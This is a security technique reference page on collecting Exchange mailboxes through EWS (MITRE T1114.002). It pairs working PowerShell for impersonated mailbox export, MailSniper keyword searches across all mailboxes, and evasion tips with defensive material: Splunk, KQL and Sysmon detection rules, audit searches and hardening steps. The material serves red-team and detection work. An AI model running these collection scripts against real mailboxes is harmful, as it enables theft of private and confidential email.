| Attribute | Details | |—|—| | Technique ID | COLLECT-EMAIL-001 | | MITRE ATT&CK v18.1 | Email Collection (T1114) / Remote Email Collection (T1114.002) – Exchange/EWS | | Tactic | Collection | | Platforms | M365 (Exchange Online), Exchange Server 2013–2019, Windows client running Outlook/PowerShell | | Severity | High | | Technique Status | PARTIAL (EWS still available with Modern Auth; Basic Auth mostly disabled in M365) | | Last Verified | 2024-09-30 | | Affected Versions | Exchange Online; Exchange Server 2013 CU23, 2016, 2019; Outlook 2016+; Windows 10/11 | | Patched In | N/A – protocol feature; risk mitigated via configuration (modern auth, Conditional Access, EWS application policies) rather than a single patch | | Environment | M365 | | Author | SERVTEP – Artur Pchelnikau |
https://outlook.office365.com/EWS/Exchange.asmx), on‑prem Exchange /EWS/Exchange.asmx, service principals with Mail.* or EWS.AccessAsUser.All permissions, and privileged accounts with access to multiple mailboxes or impersonation.MailItemsAccessed or Export‑type operations in the unified audit log. Collection can be low‑and‑slow over weeks to remain under alert thresholds. Detection hinges on centralized logging (Purview, Sentinel, SIEM) and correlation of sign‑in anomalies, application permissions, and mailbox access patterns.| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Microsoft 365 / Exchange Online: secure legacy protocols, restrict programmatic access | Failure to disable or tightly control EWS and legacy auth allows bulk mailbox collection. | | DISA STIG | Microsoft 365 / Exchange Online STIG – auditing, mailbox access controls | Inadequate mailbox audit logging and weak admin/mailbox access violate STIG guidance for SaaS email services. | | CISA SCuBA | M365 Exchange configuration baseline | Over‑permissive service principals and unmonitored EWS access violate recommended secure configurations for cloud email. | | NIST 800-53 | AC-2, AC-3, AC-6, AU-2, AU-12 | Weak account management, fine‑grained access control and audit logging around mailbox APIs enable unsanctioned email collection. | | GDPR | Art. 5, Art. 32 | Bulk mailbox theft often includes personal data; failure to implement appropriate technical and organizational measures for email security. | | DORA | Art. 9 – ICT risk management | Unmonitored programmatic access to regulated communications breaks requirements for protecting critical data and monitoring ICT risks. | | NIS2 | Art. 21 – Cybersecurity risk‑management measures | Lack of monitoring and control over mailbox APIs used for strategic communications breaches risk‑management obligations. | | ISO 27001 | A.5, A.8.12, A.8.16, A.8.23 | Insufficient controls for secure use of SaaS email, logging and monitoring of access to information in electronic messaging. | | ISO 27005 | Email compromise / data exfiltration risk scenario | Uncontrolled API access to mailboxes represents a high‑impact information leakage risk requiring explicit treatment.
full_access_as_app / EWS.AccessAsUser.All or equivalent Graph Mail.Read application permissions.outlook.office365.com (Exchange Online) or on‑prem EWS endpoint over HTTPS (TCP 443).Supported Versions:
EwsEnabled, EwsApplicationAccessPolicy, EwsBlockList / EwsAllowList).ExchangeOnlineManagement module for audit/detection.# 1) Connect to Exchange Online
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName analyst@tenant.onmicrosoft.com
# 2) Check global EWS configuration
Get-OrganizationConfig | Select-Object EwsEnabled, EwsApplicationAccessPolicy, EwsAllowList, EwsBlockList
# 3) Sample: find mailboxes where EWS is explicitly disabled
Get-CASMailbox -ResultSize Unlimited `
| Where-Object { $_.EwsEnabled -eq $false } `
| Select-Object UserPrincipalName, EwsEnabled
# 4) Identify admin / high-value mailboxes
Get-Mailbox -RecipientTypeDetails UserMailbox `
| Where-Object { $_.DisplayName -match 'CEO|CFO|Security|Legal' } `
| Select-Object DisplayName, UserPrincipalName
What to Look For:
EwsEnabled set to True globally with no restrictive EwsApplicationAccessPolicy.EwsBlockList or overly broad EwsAllowList including generic or third‑party apps.Version Note:
Get/Set-OrganizationConfig.Get-WebServicesVirtualDirectory and CAS mailbox policies.Command (Exchange 2013–2019 on‑prem):
# Run in Exchange Management Shell on an Exchange server
Get-WebServicesVirtualDirectory | fl Identity, InternalUrl, ExternalUrl, BasicAuthentication, OAuthAuthentication
Get-ClientAccessService | Select-Object Name, Fqdn, IsClientAccessServer
Command (Exchange Online):
Get-OrganizationConfig | Select-Object EwsEnabled, Ews*Policy*
Get-CASMailbox -ResultSize 20 | Select-Object UserPrincipalName,EwsEnabled,EWSSAllowOutlook
# Test connectivity to Exchange Online EWS endpoint
curl -I https://outlook.office365.com/EWS/Exchange.asmx
# Simple banner check against on-prem Exchange
curl -k -I https://exchange.corp.example.com/EWS/Exchange.asmx
What to Look For:
Supported Versions:
Objective: Obtain an authenticated ExchangeService object against the target mailbox.
Version Note:
**Command (on‑prem / lab – Basic Auth example):
# Path to the EWS Managed API DLL
$ewsDllPath = 'C:\Program Files\Microsoft\Exchange\Web Services\2.2\Microsoft.Exchange.WebServices.dll'
Add-Type -Path $ewsDllPath
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService(`
[Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2013_SP1)
# Basic credentials (NOT valid on hardened M365 tenants)
$creds = New-Object System.Net.NetworkCredential('user@corp.local','P@ssw0rd!')
$service.Credentials = $creds
$service.AutodiscoverUrl('user@corp.local', { $true })
Command (Exchange Online – OAuth with MSAL token pre‑obtained):
# Assume you obtained an OAuth access token for EWS.AccessAsUser.All
# using MSAL / Azure AD app registration as per Microsoft Learn guidance.
Add-Type -Path 'C:\Tools\EWS\Microsoft.Exchange.WebServices.dll'
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$accessToken = $env:EWS_OAUTH_TOKEN # supplied by separate auth helper
$service.Credentials = New-Object Microsoft.Exchange.WebServices.Data.OAuthCredentials($accessToken)
$service.Url = [Uri] 'https://outlook.office365.com/EWS/Exchange.asmx'
$service.ImpersonatedUserId = New-Object `
Microsoft.Exchange.WebServices.Data.ImpersonatedUserId(`
[Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress,
'victim.user@tenant.onmicrosoft.com')
Expected Output:
What This Means:
OpSec & Evasion:
MailItemsAccessed audit events.Troubleshooting:
401 Unauthorized or OAuth failures.
Autodiscover blocked.
service.Url explicitly to the known EWS endpoint.References & Proofs:
Objective: Export mailbox items to .eml files for later exfiltration or offline analysis.
Command:
$exportRoot = 'C:\EWSExport'
New-Item -ItemType Directory -Path $exportRoot -Force | Out-Null
# Bind to Inbox (or any folder)
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind(`
$service,
[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
# Page through items
$view = New-Object Microsoft.Exchange.WebServices.Data.ItemView(100)
$view.PropertySet = [Microsoft.Exchange.WebServices.Data.PropertySet]::IdOnly
$more = $true
while ($more) {
$results = $service.FindItems($inbox.Id, $view)
foreach ($item in $results.Items) {
$propSet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet(`
[Microsoft.Exchange.WebServices.Data.EmailMessageSchema]::MimeContent)
$email = [Microsoft.Exchange.WebServices.Data.EmailMessage]::Bind($service, $item.Id, $propSet)
$fileName = Join-Path $exportRoot ("{0}.eml" -f $email.Id.UniqueId.Replace('/', '_'))
[System.IO.File]::WriteAllBytes($fileName, $email.MimeContent.Content)
}
$more = $results.MoreAvailable
if ($more) { $view.Offset += $results.Items.Count }
}
Expected Output:
.eml files containing full RFC 822 mail content.What This Means:
OpSec & Evasion:
Troubleshooting:
The property MimeContent is not loaded.
PropertySet.EmailMessageSchema.MimeContent is explicitly requested.ErrorAccessDenied for some mailboxes.
ApplicationImpersonation (on‑prem) or app permissions.References & Proofs:
Supported Versions:
Objective: Search the current user mailbox for sensitive terms and export matching messages.
Command:
# Bypass execution policy only in lab environments
powershell.exe -ExecutionPolicy Bypass -File .\MailSniper.ps1
# In an interactive PowerShell session after importing MailSniper
Import-Module .\MailSniper.ps1
Invoke-SelfSearch -Mailbox user@tenant.onmicrosoft.com `
-Terms '*password*','*creds*','*vpn*' `
-Verbose
Expected Output:
What This Means:
OpSec & Evasion:
-MailsPerUser and limit folders to minimize audit noise.References & Proofs:
dafthack/MailSniper repository.Objective: Abuse ApplicationImpersonation to search all mailboxes for sensitive content via EWS.
Command (simplified example):
# After importing MailSniper and authenticating as an Exchange admin
Invoke-GlobalMailSearch `
-ImpersonationAccount svc_ews_impersonation `
-AutoDiscoverEmail admin@tenant.onmicrosoft.com `
-MailsPerUser 200 `
-Terms '*password*','*wire transfer*','*confidential*' `
-OutputCsv global-email-search.csv
Expected Output:
global-email-search.csv containing matches from many user mailboxes.What This Means:
Troubleshooting:
New-ManagementRoleAssignment -Name 'EWS-Impersonation' `
-Role 'ApplicationImpersonation' `
-User svc_ews_impersonation
References & Proofs:
Invoke-AtomicTest T1114.002 -TestNumbers 1
Invoke-AtomicTest T1114.002 -TestNumbers 1 -Cleanup
Version: 2.2 (last published by Microsoft, now feature‑frozen). Minimum Version: 2.0. Supported Platforms: Windows with .NET Framework 4.x; works against Exchange 2010–2019 and Exchange Online.
Version-Specific Notes:
Installation:
# Example – manual installation
# 1) Download EWS Managed API 2.2 and extract DLL.
# 2) Place DLL under C:\Tools\EWS or Program Files.
Add-Type -Path 'C:\Tools\EWS\Microsoft.Exchange.WebServices.dll'
Usage:
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$service.Credentials = New-Object Microsoft.Exchange.WebServices.Data.OAuthCredentials($accessToken)
$service.Url = [Uri] 'https://outlook.office365.com/EWS/Exchange.asmx'
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind(
$service,
[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)
# Quick EWS connectivity check (lab only)
Add-Type -Path 'C:\Tools\EWS\Microsoft.Exchange.WebServices.dll'; `
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService; `
$svc.Credentials = New-Object System.Net.NetworkCredential('user@corp.local','P@ssw0rd!'); `
$svc.AutodiscoverUrl('user@corp.local', { $true }); `
[Microsoft.Exchange.WebServices.Data.Folder]::Bind($svc,[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox) | Out-Null; `
Write-Host 'EWS access OK'
Rule Configuration:
o365 or m365 (where Office 365 Management Activity API logs are stored).o365:management:activity or equivalent.Workload, Operation, UserId, ClientIP, UserAgent, Parameters / AuditData.MailItemsAccessed or Export‑like operations for a single user or app within 30 minutes.SPL Query:
index=o365 sourcetype=o365:management:activity Workload="Exchange"
| eval op=coalesce(Operation, operation)
| where op IN ("MailItemsAccessed","UpdateInboxRules","New-MailboxExportRequest","Export-Report","Search-Mailbox","New-ComplianceSearchAction")
| stats count AS op_count,
values(op) AS operations,
values(UserAgent) AS user_agents,
values(ClientIP) AS client_ips
BY UserId, UserKey, RecordType, object, appid
| where op_count > 1000
What This Detects:
Manual Configuration Steps:
op_count > 1000).UserId or appid.Rule Configuration:
OfficeActivity or AuditLogs depending on connector.Operation, UserId, ClientIP, UserAgent, AuditData.KQL Query:
OfficeActivity
| where OfficeWorkload == "Exchange"
| where Operation in ("MailItemsAccessed", "New-MailboxExportRequest", "New-ComplianceSearch", "New-ComplianceSearchAction")
| extend UserAgent = tostring(parse_json(AuditData).UserAgent),
ClientIP = tostring(parse_json(AuditData).ClientIP),
AppId = tostring(parse_json(AuditData).AppId)
| summarize Count = count(),
Operations = make_set(Operation),
IPs = make_set(ClientIP),
Agents = make_set(UserAgent)
by UserId, AppId, bin(TimeGenerated, 30m)
| where Count > 1000
What This Detects:
Manual Configuration Steps (Azure Portal):
Exchange – Suspicious EWS Mailbox Export and set severity to High.Manual Configuration Steps (PowerShell):
Connect-AzAccount
$rg = 'Sentinel-RG'
$ws = 'Sentinel-Workspace'
$kql = @'
<Insert KQL query from above>
'@
New-AzSentinelAlertRule -ResourceGroupName $rg -WorkspaceName $ws `
-DisplayName 'Exchange – Suspicious EWS Mailbox Export' `
-Severity High `
-Query $kql `
-Enabled $true
Event ID: 4624 (An account was successfully logged on)
Manual Configuration Steps (Group Policy):
gpupdate /force or wait for policy refresh.Manual Configuration Steps (Local Policy):
Minimum Sysmon Version: 13+ Supported Platforms: Windows Server 2016–2022, Windows 10/11.
<RuleGroup name="EWS Mail Collection" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">powershell.exe</Image>
<CommandLine condition="contains">Microsoft.Exchange.WebServices</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<Image condition="contains">pwsh.exe</Image>
<CommandLine condition="contains">MailSniper.ps1</CommandLine>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon-config.xml with the rule group above.sysmon64.exe -accepteula -i sysmon-config.xml
Alert Name: Suspicious email exfiltration via EWS or third‑party app (naming varies by product).
Manual Configuration Steps (Enable Microsoft 365 Defender signals):
Connect-ExchangeOnline
$start = (Get-Date).AddDays(-7)
$end = Get-Date
$records = Search-UnifiedAuditLog -StartDate $start -EndDate $end `
-Operations MailItemsAccessed, New-MailboxExportRequest, New-ComplianceSearchAction `
-ResultSize 5000
$records | Select-Object CreationDate, UserIds, Operation, AuditData `
| Export-Csv 'C:\Audit\EWS-Mail-Collection.csv' -NoTypeInformation
MailItemsAccessed, New-MailboxExportRequest, New-ComplianceSearch, New-ComplianceSearchAction.Exchange.AuditData JSON for mailboxes, folders, client IP, user agent and app IDs.Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
MailItemsAccessed, New-MailboxExportRequest, New-ComplianceSearchAction.Disable or tightly restrict EWS where not required. Applies To Versions: Exchange Online; Exchange 2013–2019.
Manual Steps (Exchange Online – organization level):
Get-OrganizationConfig | Select EwsEnabled, EwsApplicationAccessPolicy.EwsEnabled to False if EWS is not required, or configure EwsApplicationAccessPolicy to EnforceAllowList and define an EwsAllowList of approved apps.Manual Steps (Mailbox level):
Set-CASMailbox user@domain -EwsEnabled:$false if interactive EWS access is not needed.Harden app registrations and service principals. Manual Steps (Entra ID Portal):
full_access_as_app, EWS.AccessAsUser.All, or broad Mail.Read application permissions.ApplicationImpersonation assignments.Discovery Management, Organization Management and eDiscovery roles to a minimal set of users.# List mailboxes with EWS still enabled
Get-CASMailbox -ResultSize Unlimited `
| Where-Object { $_.EwsEnabled -eq $true } `
| Select-Object UserPrincipalName
Expected Output (If Secure):
What to Look For:
EwsApplicationAccessPolicy set to EnforceAllowList with a short allow‑list..eml, .msg or large .zip archives under C:\EWSExport or other staging paths on admin/operator hosts.outlook.office365.com.Microsoft.Exchange.WebServices assemblies.MailItemsAccessed, New-ComplianceSearch, New-ComplianceSearchAction, New-MailboxExportRequest..eml files over short time windows.# Example – disable compromised account
Set-AzureADUser -ObjectId user@tenant.onmicrosoft.com -AccountEnabled $false
# Export relevant audit records
$start = (Get-Date).AddDays(-7)
$end = Get-Date
Search-UnifiedAuditLog -StartDate $start -EndDate $end -UserIds user@tenant.onmicrosoft.com `
| Export-Csv 'C:\Evidence\UnifiedAuditLog.csv' -NoTypeInformation
ApplicationImpersonation and other elevated roles from compromised accounts.| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 / OAuth consent grant | Phishing or malicious OAuth app used to obtain mailbox tokens. |
| 2 | Privilege Escalation | PE-ACCTMGMT-001 / App Registration Escalation | Attacker upgrades app permissions to full mailbox access. |
| 3 | Current Step | COLLECT-EMAIL-001 – Email Collection via EWS | Programmatic access to mailbox contents via EWS. |
| 4 | Persistence | REALWORLD-001 / Email forwarding rules | Forwarding rules or long‑lived refresh tokens maintain access. |
| 5 | Impact | CHAIN-003 / Token Theft to Data Exfiltration | Mass exfiltration of mailboxes and sensitive attachments. |